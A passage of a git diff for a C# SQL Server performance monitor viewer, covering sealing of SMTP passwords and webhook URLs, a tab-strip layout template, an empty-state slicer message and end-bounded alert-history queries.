+        if (RefuseTestOfSavedValue(PagerDutyRoutingKeyBox.Text, _loadedNotification.PagerDutyRoutingKey, "PagerDuty routing key"))
+        {
+            return;
+        }
+
         TestPagerDutyButton.IsEnabled = false;
         TestPagerDutyButton.Content = "Sending...";
 
@@ -1546,6 +1721,11 @@ private async void TestPagerDutyButton_Click(object sender, RoutedEventArgs e)
 
     private async void TestTeamsButton_Click(object sender, RoutedEventArgs e)
     {
+        if (RefuseTestOfSavedValue(TeamsWebhookUrlBox.Text, _loadedNotification.TeamsUrl, "Teams webhook URL"))
+        {
+            return;
+        }
+
         TestTeamsButton.IsEnabled = false;
         TestTeamsButton.Content = "Sending...";
 
@@ -1577,6 +1757,11 @@ private async void TestTeamsButton_Click(object sender, RoutedEventArgs e)
 
     private async void TestSlackButton_Click(object sender, RoutedEventArgs e)
     {
+        if (RefuseTestOfSavedValue(SlackWebhookUrlBox.Text, _loadedNotification.SlackUrl, "Slack webhook URL"))
+        {
+            return;
+        }
+
         TestSlackButton.IsEnabled = false;
         TestSlackButton.Content = "Sending...";
 
@@ -1629,6 +1814,12 @@ private static bool ConfirmCleartextWebhook(string action)
     /// </summary>
     private async void TestGenericButton_Click(object sender, RoutedEventArgs e)
     {
+        if (RefuseTestOfSavedValue(GenericWebhookUrlBox.Text, _loadedNotification.GenericUrl, "generic webhook URL")
+            || RefuseTestOfSavedValue(GenericWebhookHeadersBox.Text, _loadedNotification.GenericHeaders, "generic webhook headers"))
+        {
+            return;
+        }
+
         var url = GenericWebhookUrlBox.Text?.Trim() ?? "";
         var headers = GenericWebhookHeadersBox.Text?.Trim();
 
@@ -1756,16 +1947,40 @@ A read-only seat surfaces the friendly message and the window stays open. */
         {
             try
             {
+                var sealRefusal = await SealSmtpPasswordAsync(notifyRow);
+                if (sealRefusal is not null)
+                {
+                    SmtpStatusText.Text = sealRefusal;
+                    MessageBox.Show(sealRefusal, "SMTP password not saved", MessageBoxButton.OK, MessageBoxImage.Warning);
+                    return;
+                }
+
+                await SealWebhookValuesAsync(notifyRow);
+                var routeValuesNeedEnteringAgain = await RouteValuesNeedEnteringAgainAsync(notifyRow);
                 await _dataService.UpsertAlertSettingsAsync(alertRow);
                 await _dataService.UpsertNotificationAsync(notifyRow);
                 await _dataService.UpdateServiceFlagsAsync(capturePlans, mcpEnabled, mcpPort, webEnabled, webPort,
                     QueryStoreBackfillCheckBox.IsChecked == true, textBudgetMb, maxSweeps);
+                if (routeValuesNeedEnteringAgain)
+                {
+                    /* The settings were saved; the routes' sealed values were bound to the old proxy (#5366). */
+                    MessageBox.Show(
+                        ViewerWebhookSealing.RouteValuesNeedEnteringAgainText,
+                        "Settings", MessageBoxButton.OK, MessageBoxImage.Warning);
+                }
             }
             catch (ViewerReadOnlyException ex)
             {
                 MessageBox.Show(ex.Message, "Read-only connection", MessageBoxButton.OK, MessageBoxImage.Warning);
                 return;
             }
+            catch (ViewerPasswordRefusedException ex)
+            {
+                MessageBox.Show(
+                    "The webhook settings were not saved:\n\n" + ex.Message,
+                    "Settings", MessageBoxButton.OK, MessageBoxImage.Warning);
+                return;
+            }
             catch (ViewerSchemaSkewException ex)
             {
                 MessageBox.Show(ex.Message, "Store out of date", MessageBoxButton.OK, MessageBoxImage.Warning);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml b/Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml
index 7a8c7cb668..c24be23a25 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml
@@ -250,7 +250,7 @@
 
     <!-- No Data Message Style (for empty DataGrids) -->
     <Style x:Key="NoDataMessage" TargetType="TextBlock">
-        <Setter Property="Text" Value="No data for selected time range"/>
+        <Setter Property="Text" Value="No data for the selected time range."/>
         <Setter Property="Foreground" Value="{StaticResource ForegroundMutedBrush}"/>
         <Setter Property="FontSize" Value="14"/>
         <Setter Property="HorizontalAlignment" Value="Center"/>
@@ -681,6 +681,37 @@
         <Setter Property="BorderBrush" Value="{StaticResource BorderBrush}"/>
         <Setter Property="BorderThickness" Value="0"/>
         <Setter Property="Padding" Value="0"/>
+        <!-- F18 (Lite click-through): the stock template lays the tabs out in a TabPanel, which moves the row holding the
+             selected tab to the bottom, so clicking a tab in an upper row swaps the rows and every tab under the cursor changes.
+             A WrapPanel wraps the same way and never reorders its rows. Same parts as the stock template (the tab strip
+             on top, the selected content below). -->
+        <Setter Property="Template">
+            <Setter.Value>
+                <ControlTemplate TargetType="TabControl">
+                    <Grid KeyboardNavigation.TabNavigation="Local" SnapsToDevicePixels="True" ClipToBounds="True">
+                        <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
+                            <RowDefinition Height="*"/>
+                        </Grid.RowDefinitions>
+                        <WrapPanel x:Name="HeaderPanel" Grid.Row="0" IsItemsHost="True" Panel.ZIndex="1"
+                                   KeyboardNavigation.TabIndex="1"
+                                   KeyboardNavigation.TabNavigation="Once"
+                                   KeyboardNavigation.DirectionalNavigation="Cycle"/>
+                        <Border x:Name="ContentPanel" Grid.Row="1"
+                                Background="{TemplateBinding Background}"
+                                BorderBrush="{TemplateBinding BorderBrush}"
+                                BorderThickness="{TemplateBinding BorderThickness}"
+                                KeyboardNavigation.DirectionalNavigation="Contained"
+                                KeyboardNavigation.TabIndex="2"
+                                KeyboardNavigation.TabNavigation="Local">
+                            <ContentPresenter x:Name="PART_SelectedContentHost" ContentSource="SelectedContent"
+                                              Margin="{TemplateBinding Padding}"
+                                              SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}"/>
+                        </Border>
+                    </Grid>
+                </ControlTemplate>
+            </Setter.Value>
+        </Setter>
     </Style>
 
     <Style TargetType="TabItem">
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml b/Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml
index 9bd5d88310..e3edacd02a 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml
@@ -236,7 +236,7 @@
 
     <!-- No Data Message Style (for empty DataGrids) -->
     <Style x:Key="NoDataMessage" TargetType="TextBlock">
-        <Setter Property="Text" Value="No data for selected time range"/>
+        <Setter Property="Text" Value="No data for the selected time range."/>
         <Setter Property="Foreground" Value="{StaticResource ForegroundMutedBrush}"/>
         <Setter Property="FontSize" Value="14"/>
         <Setter Property="HorizontalAlignment" Value="Center"/>
@@ -667,6 +667,37 @@
         <Setter Property="BorderBrush" Value="{StaticResource BorderBrush}"/>
         <Setter Property="BorderThickness" Value="0"/>
         <Setter Property="Padding" Value="0"/>
+        <!-- F18 (Lite click-through): the stock template lays the tabs out in a TabPanel, which moves the row holding the
+             selected tab to the bottom, so clicking a tab in an upper row swaps the rows and every tab under the cursor changes.
+             A WrapPanel wraps the same way and never reorders its rows. Same parts as the stock template (the tab strip
+             on top, the selected content below). -->
+        <Setter Property="Template">
+            <Setter.Value>
+                <ControlTemplate TargetType="TabControl">
+                    <Grid KeyboardNavigation.TabNavigation="Local" SnapsToDevicePixels="True" ClipToBounds="True">
+                        <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
+                            <RowDefinition Height="*"/>
+                        </Grid.RowDefinitions>
+                        <WrapPanel x:Name="HeaderPanel" Grid.Row="0" IsItemsHost="True" Panel.ZIndex="1"
+                                   KeyboardNavigation.TabIndex="1"
+                                   KeyboardNavigation.TabNavigation="Once"
+                                   KeyboardNavigation.DirectionalNavigation="Cycle"/>
+                        <Border x:Name="ContentPanel" Grid.Row="1"
+                                Background="{TemplateBinding Background}"
+                                BorderBrush="{TemplateBinding BorderBrush}"
+                                BorderThickness="{TemplateBinding BorderThickness}"
+                                KeyboardNavigation.DirectionalNavigation="Contained"
+                                KeyboardNavigation.TabIndex="2"
+                                KeyboardNavigation.TabNavigation="Local">
+                            <ContentPresenter x:Name="PART_SelectedContentHost" ContentSource="SelectedContent"
+                                              Margin="{TemplateBinding Padding}"
+                                              SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}"/>
+                        </Border>
+                    </Grid>
+                </ControlTemplate>
+            </Setter.Value>
+        </Setter>
     </Style>
 
     <Style TargetType="TabItem">
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml b/Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml
index 10f8317b81..648504d749 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml
@@ -244,7 +244,7 @@
 
     <!-- No Data Message Style (for empty DataGrids) -->
     <Style x:Key="NoDataMessage" TargetType="TextBlock">
-        <Setter Property="Text" Value="No data for selected time range"/>
+        <Setter Property="Text" Value="No data for the selected time range."/>
         <Setter Property="Foreground" Value="{StaticResource ForegroundMutedBrush}"/>
         <Setter Property="FontSize" Value="14"/>
         <Setter Property="HorizontalAlignment" Value="Center"/>
@@ -675,6 +675,37 @@
         <Setter Property="BorderBrush" Value="{StaticResource BorderBrush}"/>
         <Setter Property="BorderThickness" Value="0"/>
         <Setter Property="Padding" Value="0"/>
+        <!-- F18 (Lite click-through): the stock template lays the tabs out in a TabPanel, which moves the row holding the
+             selected tab to the bottom, so clicking a tab in an upper row swaps the rows and every tab under the cursor changes.
+             A WrapPanel wraps the same way and never reorders its rows. Same parts as the stock template (the tab strip
+             on top, the selected content below). -->
+        <Setter Property="Template">
+            <Setter.Value>
+                <ControlTemplate TargetType="TabControl">
+                    <Grid KeyboardNavigation.TabNavigation="Local" SnapsToDevicePixels="True" ClipToBounds="True">
+                        <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
+                            <RowDefinition Height="*"/>
+                        </Grid.RowDefinitions>
+                        <WrapPanel x:Name="HeaderPanel" Grid.Row="0" IsItemsHost="True" Panel.ZIndex="1"
+                                   KeyboardNavigation.TabIndex="1"
+                                   KeyboardNavigation.TabNavigation="Once"
+                                   KeyboardNavigation.DirectionalNavigation="Cycle"/>
+                        <Border x:Name="ContentPanel" Grid.Row="1"
+                                Background="{TemplateBinding Background}"
+                                BorderBrush="{TemplateBinding BorderBrush}"
+                                BorderThickness="{TemplateBinding BorderThickness}"
+                                KeyboardNavigation.DirectionalNavigation="Contained"
+                                KeyboardNavigation.TabIndex="2"
+                                KeyboardNavigation.TabNavigation="Local">
+                            <ContentPresenter x:Name="PART_SelectedContentHost" ContentSource="SelectedContent"
+                                              Margin="{TemplateBinding Padding}"
+                                              SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}"/>
+                        </Border>
+                    </Grid>
+                </ControlTemplate>
+            </Setter.Value>
+        </Setter>
     </Style>
 
     <Style TargetType="TabItem">
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/TimeRangeSlicerControl.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/TimeRangeSlicerControl.xaml.cs
index 324bd1ce27..4aba49f75a 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/TimeRangeSlicerControl.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/TimeRangeSlicerControl.xaml.cs
@@ -37,6 +37,7 @@ public partial class TimeRangeSlicerControl : UserControl
     private DateTime? _requestedEndUtc;
     private string _metricLabel = "Sessions";
     private bool _isExpanded = true;
+    private string? _emptyText;
 
     // Overlay: per-item trend drawn on top of the aggregate area chart
     private List<(DateTime TimeUtc, double Value)>? _overlayData;
@@ -105,6 +106,7 @@ public void LoadData(List<TimeSliceBucket> data, string metricLabel,
         _requestedStartUtc = requestedStartUtc;
         _requestedEndUtc = requestedEndUtc;
         _data = FillEmptyBuckets(data, requestedStartUtc, requestedEndUtc);
+        _emptyText = null;
         _metricLabel = metricLabel;
 
         if (prevStart.HasValue && prevEnd.HasValue && _data.Count >= 2)
@@ -122,6 +124,51 @@ public void LoadData(List<TimeSliceBucket> data, string metricLabel,
         Redraw();
     }
 
+    /// <summary>
+    /// The window came back empty (Lite click-through F15): drops the previous window's bars and selection and says so over the
+    /// chart area only. The text is drawn on the canvas, so it never sits over the Time Range toggle or the quick-range chips,
+    /// and it is hidden with the canvas when the user collapses the slicer.
+    /// </summary>
+    public void ShowEmpty(string text)
+    {
+        _data = new List<TimeSliceBucket>();
+        _overlayData = null;
+        _requestedStartUtc = null;
+        _requestedEndUtc = null;
+        _rangeStart = 0;
+        _rangeEnd = 1.0;
+        _emptyText = text;
+        UpdateRangeLabel();
+        Redraw();
+    }
+
+    /// <summary>The empty-window text (null when the slicer holds data); exposed for the tests.</summary>
+    public string? EmptyText => _emptyText;
+
+    private void DrawEmptyText()
+    {
+        if (_emptyText is null) return;
+        var w = SlicerBorder.ActualWidth;
+        var h = SlicerBorder.ActualHeight;
+        if (w <= 0 || h <= 0) return;
+
+        var tb = new TextBlock
+        {
+            Text = _emptyText,
+            FontSize = 12,
+            FontStyle = FontStyles.Italic,
+            TextAlignment = TextAlignment.Center,
+            TextWrapping = TextWrapping.Wrap,
+            MaxWidth = Math.Min(520, Math.Max(40, w - 16)),
+            Foreground = FindBrush("ForegroundDimBrush", "#C7CBD4"),
+            IsHitTestVisible = false,
+        };
+        tb.Measure(new Size(tb.MaxWidth, double.PositiveInfinity));
+        Canvas.SetLeft(tb, Math.Max(0, (w - tb.DesiredSize.Width) / 2));
+        Canvas.SetTop(tb, Math.Max(0, (h - tb.DesiredSize.Height) / 2));
+        SlicerCanvas.Children.Add(tb);
+    }
+
     /// <summary>
     /// Sets an overlay trend line on the slicer. Drawn on its own Y scale
     /// so it's visible regardless of the aggregate chart's magnitude.
@@ -205,7 +252,7 @@ private double NormAtUtc(DateTime utc)
     public void Redraw()
     {
         SlicerCanvas.Children.Clear();
-        if (_data.Count < 1) return;
+        if (_data.Count < 1) { DrawEmptyText(); return; }
 
         var w = SlicerBorder.ActualWidth;
         var h = SlicerBorder.ActualHeight;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs
index ef1efc3cef..bc25d6a35e 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs
@@ -158,6 +158,8 @@ private static bool Confirm(Window owner, string serverDisplayName, string datab
         prompt.AppendLine($"The service will EXECUTE this query against {serverDisplayName} in database {db} to capture its actual plan.");
         prompt.AppendLine();
         prompt.AppendLine("It runs as the service's stored monitoring login, with SET STATISTICS XML ON. All data results are discarded — only the plan is returned.");
+        prompt.AppendLine();
+        prompt.AppendLine(QueryModificationDetector.CapturedQueryNotice);
 
         var result = MessageBox.Show(
             owner,
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingChartsDataStart.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingChartsDataStart.cs
new file mode 100644
index 0000000000..f56a11f685
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingChartsDataStart.cs
@@ -0,0 +1,25 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// What the Blocking tab's trend charts draw as an event (#4966), so their "Showing since" note names the earlier of the coverage
+/// start and the earliest point drawn (<see cref="ViewerEventDataStart.Of"/>). Pure, so it runs without the WPF tab.
+/// </summary>
+internal static class ViewerBlockingChartsDataStart
+{
+    /// <summary>The time of each bucket a count chart draws as an event: only buckets with a non-zero count (a zero bucket is the chart's baseline).</summary>
+    internal static IEnumerable<DateTime?> BlockingTrendTimesDrawn(IEnumerable<BlockingTrendPoint> data) =>
+        data.Where(p => p.Count > 0).Select(p => (DateTime?)p.Time);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingLaneDataStart.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingLaneDataStart.cs
new file mode 100644
index 0000000000..41f35f445e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingLaneDataStart.cs
@@ -0,0 +1,64 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// Where the Overview's blocking chart says its data starts (#4966). The chart draws two event-count series, blocking reports and
+/// deadlocks, so an empty stretch before a series starts reads as "nothing happened". Each series starts at the earlier of its
+/// coverage and its earliest bar drawn (<see cref="ViewerEventDataStart.Of"/>); the chart has one note, and it names the LATER of the
+/// two starts so it is true of both series. A series that has no start (its probe found nothing and it drew no bar, or its probe
+/// threw) is left out; when neither has one the chart shows no note.
+/// </summary>
+internal static class ViewerBlockingLaneDataStart
+{
+    /// <summary>
+    /// The instant the chart's note names, or null when it names nothing. A probe that throws costs its series' start and
+    /// nothing else: it is logged and the other series answers alone.
+    /// </summary>
+    internal static async Task<DateTime?> ChooseAsync(
+        Task<DateTime?> blockingProbe, Task<DateTime?> deadlockProbe, IEnumerable<DateTime> blockingBars, IEnumerable<DateTime> deadlockBars)
+    {
+        ArgumentNullException.ThrowIfNull(blockingProbe);
+        ArgumentNullException.ThrowIfNull(deadlockProbe);
+        ArgumentNullException.ThrowIfNull(blockingBars);
+        ArgumentNullException.ThrowIfNull(deadlockBars);
+
+        var (blockingFailed, blockingCoverage) = await AnswerAsync(blockingProbe, "blocking");
+        var (deadlockFailed, deadlockCoverage) = await AnswerAsync(deadlockProbe, "deadlocks");
+
+        return Later(
+            ViewerEventDataStart.Of(blockingCoverage, ViewerEventDataStart.EarliestOf(blockingBars.Select(t => (DateTime?)t)), probeFailed: blockingFailed),
+            ViewerEventDataStart.Of(deadlockCoverage, ViewerEventDataStart.EarliestOf(deadlockBars.Select(t => (DateTime?)t)), probeFailed: deadlockFailed));
+    }
+
+    /// <summary>The later of two series' starts; the one that answered when only one did; null when neither did.</summary>
+    internal static DateTime? Later(DateTime? blocking, DateTime? deadlock) =>
+        blocking.HasValue && deadlock.HasValue ? (blocking.Value >= deadlock.Value ? blocking : deadlock) : blocking ?? deadlock;
+
+    private static async Task<(bool Failed, DateTime? Start)> AnswerAsync(Task<DateTime?> probe, string series)
+    {
+        try
+        {
+            return (false, await probe);
+        }
+        catch (Exception ex)
+        {
+            ViewerLogger.Warn(
+                "CorrelatedTimelineLanesControl",
+                $"Overview blocking chart ({series}): the data-start probe failed, so that series names no start | {ex.GetType().Name}: {ex.Message}");
+            return (true, null);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerControlPlaneMigration.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerControlPlaneMigration.cs
index a50de0e947..3e9c2502a0 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerControlPlaneMigration.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerControlPlaneMigration.cs
@@ -32,7 +32,7 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// leaves the marker unwritten so a later writable run finishes.</para>
 ///
 /// <para><b>Secrets.</b> The SMTP password is read from Windows Credential Manager (the old viewer-local vault)
-/// and re-sealed as the service-decryptable DPAPI-LocalMachine blob (<see cref="ViewerServerSecret"/>); the
+/// and sealed to the service's published key for the host, port, SSL flag and user name it is written with (#5366); the
 /// Teams/Slack URLs (also formerly in the vault) carry as the store's plain-text channel URLs. So the SMTP
 /// secret path is Windows-only; the alert/analysis/MCP imports are platform-independent.</para>
 ///
@@ -90,6 +90,7 @@ public async Task<int> MigrateAsync(ViewerDataService? dataService, Cancellation
         }
 
         var imported = 0;
+        var deferred = false;
         try
         {
             /* Alerts + automated analysis. */
@@ -103,15 +104,33 @@ public async Task<int> MigrateAsync(ViewerDataService? dataService, Cancellation
 
             /* SMTP + Teams/Slack delivery (secrets from the old vault, re-sealed for the service). */
             var storeNotify = await dataService.GetNotificationAsync(cancellationToken);
+            var smtpPassword = ViewerSecretStore.GetSmtpPassword();
             var viewerNotify = BuildNotificationRow(
                 _appSettings,
-                ViewerSecretStore.GetSmtpPassword(),
                 ViewerSecretStore.GetTeamsWebhookUrl(),
                 ViewerSecretStore.GetSlackWebhookUrl());
             if (storeNotify is not null && ShouldImportNotification(storeNotify, viewerNotify))
             {
-                await dataService.UpsertNotificationAsync(viewerNotify, cancellationToken);
-                imported++;
+                /* The SMTP password is sealed to the service's key for the host, port, SSL flag and user name it is
+                   written with (#5366). With no key to seal with, the section waits for a later run, with the marker unwritten. */
+                var sealOutcome = _appSettings.SmtpEnabled
+                    ? await SealSmtpPasswordAsync(dataService, viewerNotify, smtpPassword, cancellationToken)
+                    : SmtpSealOutcome.Done;
+                /* The Teams and Slack URLs are sealed the same way, to the settings row's own binding. */
+                if (sealOutcome != SmtpSealOutcome.NoKey)
+                {
+                    sealOutcome = await SealWebhookValuesAsync(dataService, viewerNotify, cancellationToken);
+                }
+
+                if (sealOutcome == SmtpSealOutcome.NoKey)
+                {
+                    deferred = true;
+                }
+                else
+                {
+                    await dataService.UpsertNotificationAsync(viewerNotify, cancellationToken);
+                    imported++;
+                }
             }
 
             /* MCP toggle/port (config_service, UPDATE-only; preserve the store's current capture_plans). The web
@@ -136,10 +155,114 @@ await dataService.UpdateServiceFlagsAsync(
             return imported;
         }
 
-        WriteMarker();
+        if (!deferred)
+        {
+            WriteMarker();
+        }
+
         return imported;
     }
 
+    /// <summary>How sealing the SMTP password for the migration went.</summary>
+    internal enum SmtpSealOutcome
+    {
+        /// <summary>The row carries the sealed password, or there was no password to seal.</summary>
+        Done,
+
+        /// <summary>A password needs sealing and the service's key could not be had: the section is left for a later run.</summary>
+        NoKey,
+    }
+
+    /// <summary>
+    /// Seals the viewer's old SMTP password into <paramref name="row"/> for the host, port, SSL flag and user name the row
+    /// carries (#5366). There is no window to ask in, so a changed key is refused rather than put to the user. A password
+    /// that cannot be stored (invalid text) is left out and logged, without its value.
+    /// </summary>
+    internal static async Task<SmtpSealOutcome> SealSmtpPasswordAsync(
+        ViewerDataService dataService, NotificationRow row, string? smtpPassword, CancellationToken cancellationToken)
+    {
+        if (string.IsNullOrEmpty(smtpPassword))
+        {
+            row.SmtpEncryptedPassword = null;
+            return SmtpSealOutcome.Done;
+        }
+
+        var key = await ViewerPasswordKey.GetSealKeyAsync(dataService, null, cancellationToken);
+        if (key.Sealer is null)
+        {
+            ViewerLogger.Warn("ViewerControlPlaneMigration", "The SMTP password was not moved yet: " + key.Refusal);
+            return SmtpSealOutcome.NoKey;
+        }
+
+        try
+        {
+            row.SmtpEncryptedPassword = key.Sealer.SealSmtp(smtpPassword, row.SmtpHost, row.SmtpPort, row.SmtpUseSsl, row.SmtpUsername);
+        }
+        catch (ViewerPasswordRefusedException ex)
+        {
+            row.SmtpEncryptedPassword = null;
+            ViewerLogger.Warn("ViewerControlPlaneMigration", "The SMTP password was not moved: " + ex.Message);
+        }
+
+        return SmtpSealOutcome.Done;
+    }
+
+    /// <summary>
+    /// Seals the Teams and Slack webhook URLs the migration moves, for the settings row and each channel's proxy (#5366), with
+    /// the service's key (no window to ask in, as for the SMTP password). With no key the section waits for a later run
+    /// (<see cref="SmtpSealOutcome.NoKey"/>). A URL that cannot be stored (invalid text) is left out and logged, without its value.
+    /// </summary>
+    internal static async Task<SmtpSealOutcome> SealWebhookValuesAsync(
+        ViewerDataService dataService, NotificationRow row, CancellationToken cancellationToken)
+    {
+        if (string.IsNullOrWhiteSpace(row.TeamsUrl) && string.IsNullOrWhiteSpace(row.SlackUrl))
+        {
+            return SmtpSealOutcome.Done;
+        }
+
+        var key = await ViewerPasswordKey.GetSealKeyAsync(dataService, null, cancellationToken);
+        if (key.Sealer is null)
+        {
+            ViewerLogger.Warn("ViewerControlPlaneMigration", "The webhook URLs were not moved yet: " + key.Refusal);
+            return SmtpSealOutcome.NoKey;
+        }
+
+        SealWebhookValues(row, key.Sealer);
+        return SmtpSealOutcome.Done;
+    }
+
+    /// <summary>Seals the row's Teams and Slack URLs with <paramref name="sealer"/> (pure). A URL that cannot be stored is
+    /// emptied and logged, and does not stop the other from moving.</summary>
+    internal static void SealWebhookValues(NotificationRow row, ViewerPasswordSealer sealer)
+    {
+        var teams = row.TeamsUrl;
+        var slack = row.SlackUrl;
+        try
+        {
+            ViewerWebhookSealing.ResolveSettingsRow(row, null, sealer, null);
+        }
+        catch (ViewerPasswordRefusedException)
+        {
+            /* One value cannot be stored: seal each on its own so a good one still moves. */
+            row.TeamsUrl = SealOne(new NotificationRow { TeamsUrl = teams, TeamsProxy = row.TeamsProxy }, sealer, "Teams webhook URL")?.TeamsUrl ?? "";
+            row.SlackUrl = SealOne(new NotificationRow { SlackUrl = slack, SlackProxy = row.SlackProxy }, sealer, "Slack webhook URL")?.SlackUrl ?? "";
+        }
+    }
+
+    private static NotificationRow? SealOne(NotificationRow single, ViewerPasswordSealer sealer, string label)
+    {
+        try
+        {
+            ViewerWebhookSealing.ResolveSettingsRow(single, null, sealer, null);
+            return single;
+        }
+        catch (ViewerPasswordRefusedException ex)
+        {
+            ViewerLogger.Warn("ViewerControlPlaneMigration", $"The {label} was not moved: {ex.Message}");
+            return null;
+        }
+    }
+
     /// <summary>Projects the viewer's alert + analysis app settings onto a store row (pure — pinned by tests).</summary>
     public static AlertSettingsRow BuildAlertRow(ViewerAppSettings s)
     {
@@ -195,10 +318,11 @@ service honors it (was a dead knob before V20). Fresh-viewer defaults match Defa
     /// Projects the viewer's SMTP/webhook app settings + the vault secrets onto a store row (pure — pinned by
     /// tests). A DISABLED channel writes EMPTY key fields (SMTP host/from/to; a webhook URL) so the service —
     /// which derives enablement from non-empty fields — treats it as off; an enabled channel carries its
-    /// values, with the SMTP password sealed as the service-decryptable DPAPI blob.
+    /// values. The SMTP password is not part of the projection: <see cref="SealSmtpPasswordAsync"/> seals it once the
+    /// row's host, port, SSL flag and user name are known.
     /// </summary>
     [SupportedOSPlatform("windows")]
-    public static NotificationRow BuildNotificationRow(ViewerAppSettings s, string? smtpPassword, string teamsUrl, string slackUrl)
+    public static NotificationRow BuildNotificationRow(ViewerAppSettings s, string teamsUrl, string slackUrl)
     {
         ArgumentNullException.ThrowIfNull(s);
         var row = new NotificationRow
@@ -214,7 +338,6 @@ public static NotificationRow BuildNotificationRow(ViewerAppSettings s, string?
             row.SmtpUsername = string.IsNullOrWhiteSpace(s.SmtpUsername) ? null : s.SmtpUsername;
             row.SmtpFromAddress = s.SmtpFromAddress ?? "";
             row.SmtpRecipients = s.SmtpRecipients ?? "";
-            row.SmtpEncryptedPassword = string.IsNullOrEmpty(smtpPassword) ? null : ViewerServerSecret.Protect(smtpPassword);
         }
 
         if (s.TeamsWebhookEnabled)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertHistory.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertHistory.cs
index ef3414c43a..ec6871cfc9 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertHistory.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertHistory.cs
@@ -14,6 +14,7 @@
 using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Notifications;
 
 namespace PerformanceMonitor.Darling.Viewer;
@@ -164,27 +165,52 @@ public sealed partial class ViewerDataService
     a.context_json,
     a.server_name AS stored_server_name";
 
-    /// <summary>Per-server read. $1 window start, $2 server_id, $3 limit (naive UTC / int / int).</summary>
+    /// <summary>Per-server read. $1 window start, $2 server_id, $3 limit, $4 window end, exclusive (naive UTC / int / int / naive UTC).
+    /// The end (#5562) is what a finished calendar period or a typed range needs; a live window passes a far-future instant.</summary>
     public const string AlertHistorySql = @"
 SELECT" + AlertHistorySelectColumns + @"
 FROM config_alert_log a
 LEFT JOIN servers s ON s.server_id = a.server_id
 WHERE a.alert_time >= $1
 AND   a.server_id = $2
+AND   a.alert_time < $4
 AND   a.dismissed = FALSE
 ORDER BY a.alert_time DESC
 LIMIT $3";
 
-    /// <summary>All-servers read (the Alert History default). $1 window start, $2 limit (naive UTC / int).</summary>
+    /// <summary>All-servers read (the Alert History default). $1 window start, $2 limit, $3 window end, exclusive (naive UTC / int / naive UTC).</summary>
     public const string AlertHistoryAllServersSql = @"
 SELECT" + AlertHistorySelectColumns + @"
 FROM config_alert_log a
 LEFT JOIN servers s ON s.server_id = a.server_id
 WHERE a.alert_time >= $1
+AND   a.alert_time < $3
 AND   a.dismissed = FALSE
 ORDER BY a.alert_time DESC
 LIMIT $2";
 
+    /// <summary>The "no end" instant a live window passes: far past any alert, inside the timestamp type's range.</summary>
+    internal static readonly DateTime AlertWindowOpenEnd = new(9999, 12, 31, 0, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>Window dismiss with an end (#5562), per server: $1 window start, $2 server_id, $3 window end (exclusive).
+    /// The shared dismiss-all statement has no end, which is right for a window that runs to now; a finished period must
